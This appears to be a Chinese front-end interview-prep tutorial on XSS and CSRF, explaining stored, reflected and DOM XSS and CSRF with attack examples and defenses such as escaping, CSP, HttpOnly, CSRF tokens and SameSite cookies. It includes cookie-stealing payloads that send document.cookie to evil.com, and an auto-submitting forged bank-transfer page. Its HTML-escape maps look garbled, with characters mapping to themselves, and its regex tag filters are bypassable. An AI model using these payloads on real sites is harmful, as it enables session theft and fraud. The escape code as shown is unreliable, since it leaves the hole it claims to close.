【前端面试小册】浏览器-第9节:前端安全防御实战,XSS和CSRF攻击原理与防御全解(字节、阿里)
一、现实世界类比 🛡️
想象你的网站是一个商场:
-
XSS 攻击(跨站脚本攻击):就像商场里的小偷
- 小偷混入商场(恶意脚本注入网页)
- 偷走顾客的钱包(窃取 Cookie、Token)
- 伪装成顾客做坏事(执行恶意操作)
-
CSRF 攻击(跨站请求伪造):就像假冒顾客的身份
- 小偷拿到你的会员卡(利用已登录的 Cookie)
- 冒充你去消费(伪造请求)
- 你的账户被扣款(执行非法操作)
防御措施:
- XSS 防御:安检(输入过滤、输出转义、CSP)
- CSRF 防御:验证身份(Token、SameSite Cookie)
二、XSS 攻击(Cross-Site Scripting)
💡 XSS 是什么?
// ===== XSS 定义 =====
const XSSAttack = {
全称: 'Cross-Site Scripting(跨站脚本攻击)',
本质: '代码注入攻击',
原理: '攻击者将恶意脚本注入网页,在用户浏览器中执行',
危害: [
'窃取 Cookie、Token',
'劫持用户会话',
'篡改网页内容',
'监听用户操作',
'重定向到钓鱼网站'
]
};
XSS 的三种类型
类型1:存储型 XSS(最危险)⚠️⚠️⚠️
// ===== 攻击流程 =====
// 1. 攻击者提交恶意脚本到服务器
// 2. 服务器存储到数据库
// 3. 其他用户访问页面时,服务器返回恶意脚本
// 4. 恶意脚本在用户浏览器执行
// ===== 例子:评论区XSS =====
// 攻击者提交评论:
const comment = `
<script>
// 窃取 Cookie
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
`;
// 服务器存储到数据库(未过滤)
db.comments.insert({ content: comment });
// 其他用户访问页面
app.get('/comments', (req, res) => {
const comments = db.comments.findAll();
// ❌ 直接渲染(危险)
res.send(`
<div>
${comments.map(c => c.content).join('')}
</div>
`);
});
// 结果:所有访问的用户都会被攻击 ❌
// ===== 防御方案 =====
// 1. 输入验证
app.post('/comment', (req, res) => {
let content = req.body.content;
// 过滤危险标签
content = content.replace(/<script[^>]*>.*?<\/script>/gi, '');
content = content.replace(/<iframe[^>]*>.*?<\/iframe>/gi, '');
db.comments.insert({ content });
});
// 2. 输出转义
const escapeHTML = (str) => {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/');
};
app.get('/comments', (req, res) => {
const comments = db.comments.findAll();
// ✅ 转义后渲染
res.send(`
<div>
${comments.map(c => escapeHTML(c.content)).join('')}
</div>
`);
});
// 结果:
// 输入:<script>alert('XSS')</script>
// 输出:<script>alert('XSS')</script>
// 浏览器显示:<script>alert('XSS')</script>(纯文本,不执行)✅
类型2:反射型 XSS ⚠️⚠️
// ===== 攻击流程 =====
// 1. 攻击者构造恶意 URL
// 2. 诱导用户点击
// 3. 服务器从 URL 取出恶意代码,拼接到 HTML 返回
// 4. 恶意脚本在用户浏览器执行
// ===== 例子:搜索页面 XSS =====
// 攻击者构造恶意链接:
const maliciousURL = `
https://www.example.com/search?q=<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
`;
// 服务器处理搜索
app.get('/search', (req, res) => {
const keyword = req.query.q;
// ❌ 直接拼接到 HTML(危险)
res.send(`
<div>
搜索结果:${keyword}
</div>
`);
});
// 用户点击链接 → XSS 攻击成功 ❌
// ===== 防御方案 =====
app.get('/search', (req, res) => {
let keyword = req.query.q || '';
// ✅ 转义输出
keyword = escapeHTML(keyword);
res.send(`
<div>
搜索结果:${keyword}
</div>
`);
});
类型3:DOM 型 XSS ⚠️
// ===== 攻击流程 =====
// 1. 攻击者构造恶意 URL
// 2. 前端 JS 从 URL 取出参数
// 3. 直接使用 innerHTML 等方法插入 DOM
// 4. 恶意脚本执行
// ===== 例子:DOM XSS =====
// 恶意 URL:
// https://www.example.com/#<img src=x onerror="alert(document.cookie)">
// ❌ 危险的前端代码
const hash = location.hash.slice(1);
document.getElementById('content').innerHTML = hash;
// 结果:XSS 攻击成功 ❌
// ===== 防御方案 =====
// 1. 使用 textContent 代替 innerHTML
const hash = location.hash.slice(1);
document.getElementById('content').textContent = hash; // ✅ 纯文本
// 2. 使用安全的 DOM API
const hash = location.hash.slice(1);
const div = document.createElement('div');
div.textContent = hash;
document.getElementById('content').appendChild(div); // ✅
// 3. 使用 DOMPurify 库
import DOMPurify from 'dompurify';
const hash = location.hash.slice(1);
const clean = DOMPurify.sanitize(hash);
document.getElementById('content').innerHTML = clean; // ✅
XSS 防御方案完整版
防御1:输入验证
// ===== 服务器端验证 =====
const validator = {
// 验证邮箱
isEmail(str) {
return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(str);
},
// 验证 URL
isURL(str) {
try {
new URL(str);
return true;
} catch {
return false;
}
},
// 检测危险标签
hasDangerousTag(str) {
const dangerousPatterns = [
/<script[\s\S]*?>[\s\S]*?<\/script>/gi,
/<iframe[\s\S]*?>/gi,
/<embed[\s\S]*?>/gi,
/<object[\s\S]*?>/gi,
/on\w+\s*=\s*["'][^"']*["']/gi, // onerror, onclick 等
/javascript:/gi
];
return dangerousPatterns.some(pattern => pattern.test(str));
}
};
app.post('/comment', (req, res) => {
const content = req.body.content;
// ✅ 验证输入
if (validator.hasDangerousTag(content)) {
return res.status(400).json({ error: '输入包含危险内容' });
}
db.comments.insert({ content });
});
防御2:输出转义
// ===== 转义函数 =====
const escape = {
// HTML 转义
html(str) {
const escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, char => escapeMap[char]);
},
// JavaScript 转义(用于内联脚本)
js(str) {
return str
.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t');
},
// URL 转义
url(str) {
return encodeURIComponent(str);
},
// CSS 转义
css(str) {
return str.replace(/[<>"']/g, char => {
return '\\' + char.charCodeAt(0).toString(16) + ' ';
});
}
};
// ===== 使用示例 =====
// HTML 上下文
const username = '<script>alert("XSS")</script>';
document.getElementById('username').textContent = username; // ✅ 安全
// 或者使用转义
const html = `<div>${escape.html(username)}</div>`;
// JavaScript 上下文
const userInput = `"; alert("XSS"); var a="`;
const script = `<script>var username = "${escape.js(userInput)}";</script>`;
// URL 上下文
const redirect = `https://evil.com?hack=<script>`;
const url = `<a href="/redirect?url=${escape.url(redirect)}">Link</a>`;
防御3:Content Security Policy (CSP)
// ===== 设置 CSP 响应头 =====
app.use((req, res, next) => {
// 最严格的 CSP
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " + // 只允许同源
"script-src 'self'; " + // 只允许同源脚本
"style-src 'self' 'unsafe-inline'; " + // 允许内联样式
"img-src 'self' data: https:; " + // 允许同源和 HTTPS 图片
"font-src 'self'; " +
"connect-src 'self'; " + // 只允许同源 AJAX
"frame-ancestors 'none'; " + // 禁止被 iframe 嵌套
"base-uri 'self'; " +
"form-action 'self';"
);
next();
});
// ===== 逐步宽松的 CSP =====
// 1. 开发环境(宽松)
const devCSP = "default-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src * data:;";
// 2. 测试环境(中等)
const testCSP = "default-src 'self'; script-src 'self' 'unsafe-inline'; img-src 'self' https:;";
// 3. 生产环境(严格)
const prodCSP = "default-src 'self'; script-src 'self'; img-src 'self' https:;";
// ===== 在 HTML meta 标签中设置 =====
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">
防御4:HttpOnly Cookie
// ===== 设置 HttpOnly Cookie =====
app.post('/login', (req, res) => {
const token = generateToken(req.body);
res.cookie('token', token, {
httpOnly: true, // ✅ 禁止 JS 访问(防 XSS)
secure: true, // ✅ 仅 HTTPS 传输
sameSite: 'strict', // ✅ 防 CSRF
maxAge: 24 * 60 * 60 * 1000 // 24 小时
});
res.json({ success: true });
});
// 结果:
// document.cookie // 无法读取 token ✅
三、CSRF 攻击(Cross-Site Request Forgery)
💡 CSRF 是什么?
// ===== CSRF 定义 =====
const CSRFAttack = {
全称: 'Cross-Site Request Forgery(跨站请求伪造)',
本质: 'HTTP 请求伪造',
原理: '利用用户已登录的身份,诱导用户访问恶意网站,自动发起请求',
危害: [
'转账',
'修改密码',
'发送邮件',
'删除数据',
'执行管理操作'
]
};
🎯 CSRF 攻击示例
<!-- ===== 场景:银行转账 ===== -->
<!-- 正常转账 -->
<!-- 用户在 bank.com 已登录 -->
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="Bob">
<input name="amount" value="100">
<button>转账</button>
</form>
<!-- ===== CSRF 攻击 ===== -->
<!-- 攻击者在 evil.com 构造恶意页面 -->
<!DOCTYPE html>
<html>
<head>
<title>恭喜中奖!</title>
</head>
<body>
<h1>恭喜中奖!点击领取</h1>
<!-- 隐藏的表单,自动提交 -->
<form id="csrf-form" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="Hacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>
// 页面加载时自动提交
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
<!--
攻击流程:
1. 用户在 bank.com 已登录(Cookie 存在)
2. 攻击者诱导用户访问 evil.com
3. evil.com 自动提交表单到 bank.com
4. 浏览器自动携带 bank.com 的 Cookie
5. bank.com 认为是用户的正常操作
6. 转账成功,用户损失 10000 元 ❌
-->
CSRF 防御方案完整版
防御1:CSRF Token(最有效)⭐⭐⭐⭐⭐
// ===== 服务器端生成 Token =====
const crypto = require('crypto');
// 生成随机 Token
function generateCSRFToken() {
return crypto.randomBytes(32).toString('hex');
}
// 验证 Token
function verifyCSRFToken(token, sessionToken) {
return token === sessionToken;
}
// ===== Express 中间件 =====
const session = require('express-session');
app.use(session({
secret: 'your-secret-key',
resave: false,
saveUninitialized: true
}));
// 生成并保存 Token
app.use((req, res, next) => {
if (!req.session.csrfToken) {
req.session.csrfToken = generateCSRFToken();
}
// 将 Token 暴露给模板
res.locals.csrfToken = req.session.csrfToken;
next();
});
// 验证 CSRF Token 中间件
function csrfProtection(req, res, next) {
if (req.method === 'GET' || req.method === 'HEAD' || req.method === 'OPTIONS') {
return next(); // 安全方法,不需要验证
}
const token = req.body._csrf || req.headers['x-csrf-token'];
if (!verifyCSRFToken(token, req.session.csrfToken)) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
}
// ===== 前端使用 =====
// 1. 在表单中添加 Token
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="<%= csrfToken %>">
<input name="to" value="Bob">
<input name="amount" value="100">
<button>转账</button>
</form>
// 2. 在 AJAX 请求中添加 Token
fetch('/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({ to: 'Bob', amount: 100 })
});
// 3. 使用 csurf 中间件(推荐)
const csurf = require('csurf');
const csrfProtection = csurf({ cookie: true });
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/transfer', csrfProtection, (req, res) => {
// Token 自动验证
res.json({ success: true });
});
防御2:SameSite Cookie(简单有效)⭐⭐⭐⭐
// ===== 设置 SameSite Cookie =====
res.cookie('token', token, {
httpOnly: true,
secure: true,
sameSite: 'strict', // ✅ 关键设置
maxAge: 24 * 60 * 60 * 1000
});
// SameSite 三个值:
const SameSiteOptions = {
Strict: {
说明: '完全禁止第三方 Cookie',
行为: '从其他网站跳转过来,不携带 Cookie',
场景: '适合银行等高安全要求的网站',
缺点: '用户体验差(从其他网站跳转过来需要重新登录)'
},
Lax: {
说明: '部分允许第三方 Cookie',
行为: '链接跳转携带 Cookie,AJAX/表单提交不携带',
场景: '大部分网站的默认选择',
优点: '平衡安全性和用户体验'
},
None: {
说明: '不限制第三方 Cookie',
行为: '完全允许跨站携带 Cookie',
要求: '必须配合 Secure 使用(仅 HTTPS)',
场景: '嵌入式应用(如第三方登录、支付)'
}
};
// ===== 示例 =====
// 设置为 Strict
res.cookie('session', sessionId, {
sameSite: 'strict'
});
// 结果:
// 从 evil.com 发起的请求到 bank.com,不会携带 Cookie ✅
// CSRF 攻击失败 ✅
防御3:验证 Referer / Origin
// ===== 检查请求来源 =====
function checkReferer(req, res, next) {
const referer = req.headers.referer || '';
const origin = req.headers.origin || '';
const allowedOrigins = [
'https://www.example.com',
'https://app.example.com'
];
// 提取域名
const refererOrigin = referer ? new URL(referer).origin : '';
// 验证来源
if (refererOrigin && !allowedOrigins.includes(refererOrigin)) {
return res.status(403).json({ error: '非法请求来源' });
}
if (origin && !allowedOrigins.includes(origin)) {
return res.status(403).json({ error: '非法请求来源' });
}
next();
}
app.post('/transfer', checkReferer, (req, res) => {
// 处理转账...
});
// ⚠️ 注意:Referer 可以被伪造或禁用,不能作为唯一防御手段
防御4:双重 Cookie 验证
// ===== 双重 Cookie 验证 =====
// 原理:要求请求参数中的 Token 与 Cookie 中的 Token 一致
// 1. 设置 CSRF Token Cookie
app.use((req, res, next) => {
const token = req.cookies.csrfToken || generateCSRFToken();
res.cookie('csrfToken', token, {
httpOnly: false, // ✅ 必须允许 JS 读取
secure: true,
sameSite: 'strict'
});
next();
});
// 2. 验证
function doubleCookieCheck(req, res, next) {
const cookieToken = req.cookies.csrfToken;
const requestToken = req.body._csrf || req.headers['x-csrf-token'];
if (!cookieToken || !requestToken || cookieToken !== requestToken) {
return res.status(403).json({ error: 'CSRF token mismatch' });
}
next();
}
// 3. 前端使用
fetch('/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCookie('csrfToken') // 从 Cookie 读取
},
body: JSON.stringify({ to: 'Bob', amount: 100 })
});
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
四、XSS vs CSRF 对比
const Comparison = {
XSS: {
本质: '代码注入',
攻击方式: '注入恶意脚本到网页',
目标: '窃取用户数据',
防御: '输入验证、输出转义、CSP、HttpOnly Cookie'
},
CSRF: {
本质: 'HTTP 请求伪造',
攻击方式: '诱导用户访问恶意网站,自动发起请求',
目标: '冒充用户执行操作',
防御: 'CSRF Token、SameSite Cookie、验证 Referer'
}
};
五、总结与记忆口诀 📝
XSS 防御口诀
输入验证第一关
输出转义不能少
CSP 头部来护航
HttpOnly 保 Cookie
CSRF 防御口诀
Token 验证最可靠
SameSite 简单好
Referer 辅助查
双重 Cookie 也不错
六、面试加分项 🌟
前端面试提升点
- ✅ 能清晰讲解 XSS 的三种类型及防御
- ✅ 理解 CSRF 的攻击原理和 Token 验证机制
- ✅ 知道 CSP、HttpOnly、SameSite 的作用
- ✅ 能实现一个简单的 CSRF Token 系统
业务代码提升点
- ✅ 所有用户输入都进行验证和转义
- ✅ 使用 DOMPurify 库处理富文本
- ✅ API 接口添加 CSRF Token 验证
- ✅ Cookie 设置 HttpOnly + Secure + SameSite
架构能力增强点
- ✅ 设计统一的输入验证中间件
- ✅ 实现 CSP 报告收集和分析
- ✅ 配置 WAF(Web Application Firewall)
- ✅ 建立安全审计日志系统
记住:安全无小事,防御要全面! 🛡️
#前端面试小册##前端##字节##阿里##银行#前端面试小册 文章被收录于专栏
每天更新3-4节,持续更新中... 目标:50天学完,上岸银行总行!
查看12道真题和解析